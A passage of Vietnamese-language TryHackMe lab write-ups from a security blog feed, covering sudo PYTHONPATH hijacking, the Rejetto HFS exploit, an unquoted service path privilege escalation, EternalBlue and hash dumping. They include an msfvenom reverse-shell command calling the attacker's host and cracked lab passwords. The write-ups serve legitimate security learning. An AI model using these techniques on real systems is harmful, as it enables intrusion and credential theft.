&lt;h2&gt;Flag 1&lt;/h2&gt;
&lt;h3&gt;SQL Map&lt;/h3&gt;
&lt;p&gt;Xác định được đây là lỗ hổng &lt;code&gt;SQL Injection&lt;/code&gt;, mình sử dụng công cụ &lt;code&gt;SQL Map&lt;/code&gt; để trích xuất dữ liệu thì nhận được dữ liệu từ bảng &lt;code&gt;users&lt;/code&gt; với 3 cột &lt;code&gt;email&lt;/code&gt;, &lt;code&gt;username&lt;/code&gt;, &lt;code&gt;password&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/6.BFWmOdSe_1WOXLS.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;h3&gt;Truy cập người dùng smokey&lt;/h3&gt;
&lt;p&gt;Sử dụng thông tin này để kết nối SSH thì mình đã truy cập được vào người dùng &lt;code&gt;smokey&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/7.C1oiB8B8_ZQxbrI.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Và mình tìm được flag tại thư mục &lt;code&gt;home&lt;/code&gt; của người dùng &lt;code&gt;hazel&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/8.DlnSGRIc_uW7xO.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Tới đây mình...BÍ!&lt;/p&gt;
&lt;h3&gt;Truy cập người dùng hazel và flag&lt;/h3&gt;
&lt;p&gt;Xem hint của thử thách thì mình nhận được 2 chữ &lt;code&gt;Weak password&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;...&lt;/p&gt;
&lt;p&gt;Sau một khoảng thời gian nho nhỏ, mình xác định được thông tin đăng nhập của người dùng &lt;code&gt;hazel&lt;/code&gt; và password là &lt;code&gt;hazel&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;SSH vào người dùng này và mình nhận được flag.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/9.DkvpOYMh_Z14O0LP.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Flag 2&lt;/h2&gt;
&lt;h3&gt;Sudo Misconfiguration (Python)&lt;/h3&gt;
&lt;p&gt;Mình sử dụng lệnh &lt;code&gt;sudo -l&lt;/code&gt; xem mình có thể dùng sudo cho những gì, thì tại đây mình được dùng &lt;code&gt;sudo&lt;/code&gt; cho &lt;code&gt;python3&lt;/code&gt; và file &lt;code&gt;hasher.py&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Vấn đề nằm ở chỗ là mình không có quyền ghi vào file &lt;code&gt;hasher.py&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/10.Ti8c3WHm_mldce.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Nhưng khi mở file lên, mình nhận ra mình có thể sử dụng &lt;code&gt;PYTHONPATH&lt;/code&gt; và giả mạo &lt;code&gt;hashlib&lt;/code&gt; này.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/11.R7aa9qIN_ZSxtiE.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Mình tạo một file &lt;code&gt;hashlib.py&lt;/code&gt; với mục đích mở một shell mới và đặt nó tại thư mục &lt;code&gt;/tmp&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Truy cập người dùng root và flag&lt;/h3&gt;
&lt;p&gt;Sau đó thực thi file &lt;code&gt;hasher.py&lt;/code&gt; với quyền sudo kèm theo &lt;code&gt;PYTHONPATH=/tmp&lt;/code&gt;, khi file được thực thi &lt;code&gt;python&lt;/code&gt; sẽ dựa vào &lt;code&gt;PYTHONPATH&lt;/code&gt; để tìm kiếm thư viện và trỏ tới thư mục &lt;code&gt;/tmp&lt;/code&gt; và thực thi file &lt;code&gt;hashlib.py&lt;/code&gt; giả mạo mình tạo ra nhằm mở một shell mới dưới quyền sudo (root).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/12.DXL4o7yu_Z130sGV.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Cuối cùng, mình tìm thấy flag tại thư mục &lt;code&gt;root&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/13.BZx4Xi8W_20jXwM.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;</content:encoded><h:img src="/_astro/thumbnail.DihwRw2R.png"/><enclosure url="/_astro/thumbnail.DihwRw2R.png"/></item><item><title>Steel Mountain</title><link>https://quangthaictc.github.io/blog/2025/tryhackme/steel-mountain</link><guid isPermaLink="true">https://quangthaictc.github.io/blog/2025/tryhackme/steel-mountain</guid><description>Hack vào máy Windows theo chủ đề của Mr. Robot.</description><pubDate>Wed, 10 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import { Aside } from &apos;astro-pure/user&apos;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://tryhackme.com/room/steelmountain&quot;&gt;Link lab&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Truy cập ban đầu&lt;/h2&gt;
&lt;p&gt;Khi truy cập mục tiêu, giao diện trang web chứa hình ảnh của &lt;code&gt;Employee of the month&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/1.DLFJm7SO_jd6hc.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Mở &lt;code&gt;Page Source&lt;/code&gt;, theo tên ảnh thì người này tên &lt;code&gt;Bill Harper&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/2.BzuL64xo_Z9PdF4.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Tiếp theo, mình thực hiện scan các port của mục tiêu này và phát hiện thêm một port chạy &lt;code&gt;HttpFileServer httpd 2.3 (8080)&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;PORT      STATE SERVICE            VERSION
8080/tcp  open  http               HttpFileServer httpd 2.3
|_http-title: HFS /
|_http-server-header: HFS 2.3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Tìm kiếm một chút thì &lt;code&gt;HFS&lt;/code&gt; còn được gọi là &lt;code&gt;Rejetto HTTP File Server&lt;/code&gt;, đây là một ứng dụng mã nguồn mở biến máy tính trở thành một &lt;code&gt;File Server&lt;/code&gt; dựa trên web để chia sẻ file mà không cần một kết nối mạng lâu dài hoặc cài đặt thêm phần mềm nào trên thiết bị nhận.&lt;/p&gt;
&lt;p&gt;Và ở phiên bản &lt;code&gt;Rejetto 2.3&lt;/code&gt; này tồn tại một lỗ hổng được báo cáo trong &lt;code&gt;CVE-2014-6287&lt;/code&gt; dẫn tới kiểm soát quyền truy cập.&lt;/p&gt;
&lt;p&gt;Sử dụng công cụ &lt;code&gt;Metasploit&lt;/code&gt; có module &lt;code&gt;exploit/windows/http/rejetto_hfs_exec&lt;/code&gt; hỗ trợ khai thác lỗ hổng này.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/3.DRKuzqV5_25fevg.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Các thông số của module này như sau:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/4.Uunz8y1D_Z6G1CF.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Sau khi khai thác thành công, mình chiếm được quyền truy cập vào người dùng &lt;code&gt;bill&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/5.DrY_gaTD_1uHxpF.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Flag sẽ được đặt tại thư mục &lt;code&gt;Desktop&lt;/code&gt; của người dùng này.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/6.CvHo52oy_1qLjzx.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Leo thang đặc quyền&lt;/h2&gt;
&lt;p&gt;Để thu thập thông tin về máy này, mình upload một powershell script có tên là &lt;a href=&quot;https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1&quot;&gt;&lt;em&gt;PowerUp&lt;/em&gt;&lt;/a&gt;, đây là file với mục đích đánh giá máy Windows và xác định xem có điều gì bất thường hay không.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/7.8NcKFTUB_Z2pedWO.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Khi thực thi script có service tên &lt;code&gt;AdvancedSystemCareService9&lt;/code&gt; là &lt;code&gt;Unquoted Service Paths&lt;/code&gt;, có nghĩa là đường dẫn có khoảng trắng nhưng không có dấu ngoặc kép.&lt;/p&gt;
&lt;p&gt;Tại thư mục &lt;code&gt;C:\&lt;/code&gt; người dùng bình thường có quyền ghi file và &lt;code&gt;CanRestart&lt;/code&gt; được đặt thành &lt;code&gt;true&lt;/code&gt; có nghĩa là có thể khởi động lại ứng dụng này thay vì phải khởi động lại máy.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/8.CJwqBwB0_1yCcS5.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Từ thông tin thu thập được, mình có thể đổi ứng dụng đã được cấu hình thành ứng dụng độc hại của mình để có thể leo thang đặc quyền lên &lt;code&gt;SYSTEM&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Ở đây là &lt;code&gt;C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Thì Windows sẽ thực hiện thêm &lt;code&gt;.exe&lt;/code&gt; vào các khoảng trắng và thực thi nó theo từng phần:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;C:\Program.exe&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;C:\Program Files.exe&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;C:\Program Files (x86)\IObit\Advanced.exe&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Và cuối cùng là &lt;code&gt;C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Khi này mình tạo một file độc hại tên &lt;code&gt;Advanced.exe&lt;/code&gt; đặt trong thư mục &lt;code&gt;C:\Program Files (x86)\IObit\&lt;/code&gt; để khi Windows đến bước 3 sẽ tiến hành thực thi file này.&lt;/p&gt;
&lt;p&gt;Trong công cụ đi kèm của &lt;code&gt;Metasploit&lt;/code&gt; - &lt;code&gt;msfvenom&lt;/code&gt; mình sẽ tạo một ứng dụng tên &lt;code&gt;Advanced.exe&lt;/code&gt; mở một &lt;code&gt;reverse shell&lt;/code&gt; về máy mình.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;msfvenom -p windows/shell_reverse_tcp LHOST=10.17.67.204 LPORT=7304 -e x86/shikata_ga_nai -f exe-service -o Advanced.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Sau đó, mình chuyển file này vào thư mục &lt;code&gt;C:\Program Files (x86)\IObit&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/9.BoyX6Z5c_Z1Kq1qp.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Mở một session khác cho &lt;code&gt;msfconsole&lt;/code&gt; sử dụng module &lt;code&gt;exploit/multi/handler&lt;/code&gt; với payload &lt;code&gt;windows/shell_reverse_tcp&lt;/code&gt; để tạo 1 listener lắng nghe khi máy bị tấn công kết nối vào.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/10.C3llZcaz_Z1jNPUz.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Cuối cùng mình khởi động lại dịch vụ &lt;code&gt;AdvancedSystemCareService9&lt;/code&gt;, khi đó máy này sẽ chạy ứng dụng độc hại mà mình đã tạo, kết nối tới listener và mình đã leo thang đặc quyền lên &lt;code&gt;SYSTEM&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/11.BOM4VCIP_Z2bDhzK.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Có được quyền &lt;code&gt;SYSTEM&lt;/code&gt; đồng nghĩa mình có toàn quyền trong hệ thống này và mình tìm thấy flag của root tại thư mục &lt;code&gt;Desktop&lt;/code&gt; của &lt;code&gt;Administrator&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/12.DKeemcIx_ZV7kTk.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Truy cập và leo thang đặc quyền không dùng Metasploit&lt;/h2&gt;
&lt;p&gt;Thay vì sử dụng công cụ Metasploit để khai thác tự động, có thể khai thác bằng cách khác.&lt;/p&gt;
&lt;p&gt;Tại đây mình sử dụng file python khai thác trên &lt;a href=&quot;https://www.exploit-db.com/exploits/39161&quot;&gt;ExploitDB&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Một số yêu cầu của file để nó có thể khai thác thành công như sau:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Host 1 web server bên trong có file &lt;a href=&quot;https://github.com/andrew-d/static-binaries/blob/master/binaries/windows/x86/ncat.exe&quot;&gt;nc.exe&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Sẽ phải chạy file nhiều lần và lần đầu là để chuyển &lt;code&gt;nc.exe&lt;/code&gt; sang máy bị tấn công.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Như vậy, mình đã mở một &lt;code&gt;Simple HTTP Server&lt;/code&gt; bằng python3 và khi thực thi file nó đã tải &lt;code&gt;nc.exe&lt;/code&gt; từ máy mình sang máy có lỗ hổng.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/14.BNIX9ZzX_1y8cpp.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Đồng thời mình cũng sẽ mở một &lt;code&gt;netcat listener&lt;/code&gt; ở port &lt;code&gt;7304&lt;/code&gt; để khi khai thác thành công nó sẽ kết nối vào đây.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/14.BNIX9ZzX_1y8cpp.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Mình đã có quyền truy cập vào &lt;code&gt;Bill&lt;/code&gt; như cũ.&lt;/p&gt;
&lt;p&gt;Tiếp theo, để thực hiện leo thang đặc quyền lên &lt;code&gt;SYSTEM&lt;/code&gt; mình thực hiện thu thập thông tin bằng công cụ &lt;code&gt;winPEAS&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/15.DjoMaABW_Ze96uK.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Công cụ này đã phát hiện lỗ hổng tại service &lt;code&gt;AdvancedSystemCareService9&lt;/code&gt; cho phép &lt;code&gt;WriteData/CreateFiles&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/16.Y5N7GJrx_1GoJDw.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Từ đây các bước thực hiện như cũ, sử dụng công cụ &lt;code&gt;msfvenom&lt;/code&gt; để tạo phần mềm độc hại kết nối tới listener.&lt;/p&gt;
&lt;p&gt;Listener mình sẽ sử dụng &lt;code&gt;netcat&lt;/code&gt; với các tùy chọn &lt;code&gt;-lvnp&lt;/code&gt; thay vì dùng module của &lt;code&gt;Metasploit&lt;/code&gt; như trước và mình đã leo thang đặc quyền lên &lt;code&gt;SYSTEM&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/17.DMKmH0BY_erayx.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;</content:encoded><h:img src="/_astro/thumbnail.Bl2q8TM1.jpeg"/><enclosure url="/_astro/thumbnail.Bl2q8TM1.jpeg"/></item><item><title>Blue</title><link>https://quangthaictc.github.io/blog/2025/tryhackme/blue</link><guid isPermaLink="true">https://quangthaictc.github.io/blog/2025/tryhackme/blue</guid><description>Triển khai và hack vào máy Windows, tận dụng các vấn đề cấu hình sai phổ biến.</description><pubDate>Tue, 09 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import { Aside } from &apos;astro-pure/user&apos;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://tryhackme.com/room/blue&quot;&gt;Link lab&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Thu thập thông tin&lt;/h2&gt;
&lt;p&gt;Đầu tiên, mình cần thu thập thông tin về mục tiêu có IP &lt;code&gt;10.201.76.18&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Sử dụng công cụ &lt;code&gt;nmap&lt;/code&gt; với cú pháp như sau:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;nmap -n -Pn -p-1000 10.201.76.18

# -n        Không phân giải tên miền =&gt; Giảm thời gian scan
# -Pn       Bỏ qua host discovery (ping) =&gt; Scan port trực tiếp
# -p-1000   Scan từ port 1-1000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Mình thu được kết quả 3 port đang mở.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;PORT    STATE SERVICE
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Sử dụng thêm tùy chọn &lt;code&gt;-sV&lt;/code&gt; để xem thông tin phiên bản.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;PORT    STATE SERVICE      VERSION
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP) # [!code highlight:1]
Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Port &lt;strong&gt;SMB (445)&lt;/strong&gt;, sử dụng phiên bản &lt;code&gt;Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Tìm trên &lt;a href=&quot;https://www.exploit-db.com/&quot;&gt;ExploitDB&lt;/a&gt;, đây là phiên bản có một lỗ hổng khá nổi còn có tên là &lt;code&gt;MS17-010 EternalBlue&lt;/code&gt; cho phép thực thi lệnh từ xa và khai thác thông qua cổng của dịch vụ SMB.&lt;/p&gt;
&lt;h2&gt;Chiếm quyền truy cập&lt;/h2&gt;
&lt;p&gt;Sau khi có thông tin về lỗ hổng, mình sử dụng công cụ &lt;code&gt;Metasploit&lt;/code&gt; thực hiện khai thác và chiếm quyền truy cập.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/1.BdF8c2u-_Z1l6vAF.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Tại đây mình sử dụng &lt;code&gt;module 0 (exploit/windows/smb/ms17_010_eternalblue)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Mình đặt các tùy chọn &lt;code&gt;RHOSTS&lt;/code&gt; (IP mục tiêu), &lt;code&gt;LHOST&lt;/code&gt; (IP máy tấn công) và theo mặc định payload sẽ dùng module &lt;code&gt;windows/x64/meterpreter/reverse_tcp&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/2.BwsccF3h_p5l7D.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Sau quá trình công cụ tự động khai thác, kết quả trả về cho thấy đã chiếm quyền truy cập thành công và đã được nâng cấp lên &lt;code&gt;meterpreter shell&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Giả sử nếu không sử dụng payload meterpreter từ đầu thì để thực hiện nâng cấp shell thông thường lên meterpreter có thể sử dụng module &lt;code&gt;post/multi/manage/shell_to_meterpreter&lt;/code&gt; .&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/3.CB7PmYT9_GIdOV.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Vì chạy trong RAM nên nó sẽ &lt;strong&gt;khó bị phát hiện hơn&lt;/strong&gt; so với việc truy cập và tương tác trên shell thông thường.&lt;/p&gt;
&lt;p&gt;Kết quả của lệnh &lt;code&gt;getuid&lt;/code&gt; cũng cho thấy mình đang thực thi với quyền SYSTEM (Quyền cao nhất của Windows).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/4.Y6QCc0Yv_m4FbH.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Tiếp theo, mình dùng lệnh &lt;code&gt;ps&lt;/code&gt; để xem các tiến trình đang chạy thì trong đó tiến trình có &lt;code&gt;PID 700&lt;/code&gt; đang chạy dịch vụ &lt;code&gt;lsass.exe&lt;/code&gt; &lt;strong&gt;(Local Security Authority Subsystem Service - dịch vụ này có nhiệm vụ xác thực người dùng đăng nhập vào máy, xử lý thay đổi mật khẩu và tạo access token).&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/5.B7eMAL9V_Z2bVac8.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Mình thực hiện &lt;code&gt;migrate&lt;/code&gt; vào tiến trình này để chuẩn bị cho bước tiếp theo.&lt;/p&gt;
&lt;h2&gt;Cracking&lt;/h2&gt;
&lt;p&gt;Sau khi &lt;code&gt;migrate&lt;/code&gt; vào tiến trình có &lt;code&gt;PID 700&lt;/code&gt;, mình thực thi &lt;code&gt;hashdump&lt;/code&gt; để lấy danh sách người dùng kèm theo hash mật khẩu của họ.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/6.C1HDG3Uo_2fk3YK.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Đối với người dùng &lt;code&gt;Administrator&lt;/code&gt; và &lt;code&gt;Guest&lt;/code&gt; có hash &lt;code&gt;31d6cfeOd16ae931b73c59d7eOc089cO&lt;/code&gt; đồng nghĩa các người dùng này có mật khẩu rỗng.&lt;/p&gt;
&lt;p&gt;Người dùng &lt;code&gt;Jon&lt;/code&gt; có hash mật khẩu là &lt;code&gt;ffb43f0de35be4d9917ac0cc8ad57f8d&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Sử dụng công cụ giải hash, mình nhận được mật khẩu của &lt;code&gt;Jon&lt;/code&gt; là &lt;code&gt;alqfna22&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/7.OBteIfBw_ZDx8Gb.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Tìm flags!&lt;/h2&gt;
&lt;p&gt;Đây là nhiệm vụ cuối của lab này là tìm 3 flag với 3 câu hỏi.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Flag1? &lt;em&gt;This flag can be found at the system root.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;code&gt;System root&lt;/code&gt; có nghĩa là vị trí cấp đầu tiên của cây thư mục, vì đây là Windows nên root sẽ là ổ &lt;code&gt;C&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/8.DSMPN_AN_1vldv9.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Flag2? &lt;em&gt;This flag can be found at the location where passwords are stored within Windows.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Vị trí các mật khẩu được lưu trên Windows tại &lt;code&gt;C:/Windows/System32/config&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Theo Wikipedia thì các file registry sau được lưu tại đây:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Sam (HKEY_LOCAL_MACHINE\SAM)&lt;/li&gt;
&lt;li&gt;Security (HKEY_LOCAL_MACHINE\SECURITY)&lt;/li&gt;
&lt;li&gt;Software (HKEY_LOCAL_MACHINE\SOFTWARE)&lt;/li&gt;
&lt;li&gt;System (HKEY_LOCAL_MACHINE\SYSTEM)&lt;/li&gt;
&lt;li&gt;Default (HKEY_USERS.DEFAULT)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/9.DIB_aznY_Z2gEcbW.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Flag3? &lt;em&gt;This flag can be found in an excellent location to loot. After all, Administrators usually have pretty interesting things saved.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Thật ra thì...nhìn vào tên của 2 file flag mình vừa tìm được thì cũng đoán được flag 3 có tên gì rồi :v&lt;/p&gt;
&lt;p&gt;Vì đang thực hiện với quyền &lt;code&gt;SYSTEM&lt;/code&gt; nên mình có toàn quyền đối với hệ thống này, kể cả flag 1 và 2 cũng có thể làm cách này nhưng vì lý do học tập thì 2 cách trên là cách làm hợp lý hơn.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/10.LAf-oo4Z_Z1e9vMc.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;</content:encoded><h:img src="/_astro/thumbnail.D8pjJifu.gif"/><enclosure url="/_astro/thumbnail.D8pjJifu.gif"/></item><item><title>Kenobi</title><link>https://quangthaictc.github.io/blog/2025/tryhackme/kenobi</link><guid isPermaLink="true">https://quangthaictc.github.io/blog/2025/tryhackme/kenobi</guid><description>Khai thác máy Linux. Thu thập thông tin Samba để tìm các thư mục chia sẻ, khai thác một phiên bản ProFTPD và leo thang đặc quyền bằng cách lợi dụng biến PATH.</description><pubDate>Mon, 08 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import { Aside } from &apos;astro-pure/user&apos;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://tryhackme.com/room/kenobi&quot;&gt;Link lab&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Thu thập thông tin Samba&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/1.B9QRkL_r_ZpcTNE.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;Samba&lt;/strong&gt;&lt;/em&gt; được biết với sự linh hoạt về việc truy cập file giữa các hệ điều hành và còn được gọi là &lt;em&gt;&lt;strong&gt;file system&lt;/strong&gt;&lt;/em&gt;. Nó cho phép người dùng cuối truy cập, sử dụng các file và các tài nguyên chung được sử dụng trong mạng nội bộ hoặc internet.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;Samba&lt;/strong&gt;&lt;/em&gt; được xây dựng trên giao thức client/server của &lt;em&gt;&lt;strong&gt;SMB - Server Message Block&lt;/strong&gt;&lt;/em&gt;. Nó chỉ được phát triển dành cho Windows, nếu không có Samba thì các nền tảng máy tính khác sẽ &lt;strong&gt;không thể truy cập dù cùng một mạng&lt;/strong&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Đầu tiên, mình cần thu thập thông tin về mục tiêu có IP &lt;code&gt;10.10.78.65&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Mình tìm được 7 cổng đang mở, trong đó có SMB.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;PORT     STATE SERVICE
21/tcp   open  ftp # [!code highlight:1]
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind # [!code highlight:1]
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds # [!code highlight:1]
2049/tcp open  nfs
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Sau đó, mình sửa dụng lệnh &lt;code&gt;smbclient -L&lt;/code&gt; để thực hiện hiển thị các thư mục được share thì tìm được thư mục &lt;code&gt;anonymous&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/2.C0OSEx01_1FP2tB.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
